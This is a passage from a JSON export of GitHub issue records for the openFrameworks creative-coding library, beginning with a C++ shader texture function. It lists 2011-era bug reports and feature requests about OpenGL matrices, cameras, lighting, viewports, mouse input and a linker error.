ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","id":543729,"number":418,"title":"something to wrap glMultMatrixf","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:57:37Z","updated_at":"2011-01-22T15:57:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","id":543694,"number":417,"title":"3D isn't scale invariant in certain parts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-22T15:24:07Z","updated_at":"2011-01-22T15:24:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","id":539845,"number":412,"title":"add setMultisampling method to glutWindow","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-20T19:33:30Z","updated_at":"2011-01-20T19:33:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","id":539744,"number":410,"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":11,"created_at":"2011-01-20T18:59:10Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","id":537416,"number":406,"title":"ofEnableLighting","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T19:39:36Z","updated_at":"2011-01-19T19:39:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","id":536614,"number":405,"title":"ofViewport doesn't match rest of openFrameworks coordinates","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-19T13:24:53Z","updated_at":"2011-01-19T13:24:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/403","id":532954,"number":403,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-17T23:39:31Z","updated_at":"2012-06-18T07:28:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/400","id":532096,"number":400,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-17T16:37:42Z","updated_at":"2011-01-17T16:37:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/391","id":529705,"number":391,"title":"ofGetPreviousMouseX/Y() does not update per frame","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T07:21:15Z","updated_at":"2011-03-20T17:33:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/389","id":529700,"number":389,"title":"mouse position doesn't update until mouse is moved","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T07:11:53Z","updated_at":"2011-03-20T17:32:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this is a limitation to glut, but it might be hackable on each system separately."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/387","id":529646,"number":387,"title":"Linker error when loading image (Poco::Net related?)","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T05:57:51Z","updated_at":"2011-03-13T21:10:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/357","id":527591,"number":357,"title":"glDrawBitmapString vs GL_LIGHTING","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T19:30:31Z","updated_at":"2011-01-14T19:30:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/347","id":526094,"number":347,"title":"none of the core functions report how many dimensions they work for","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T01:33:38Z","updated_at":"2011-01-14T01:33:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d 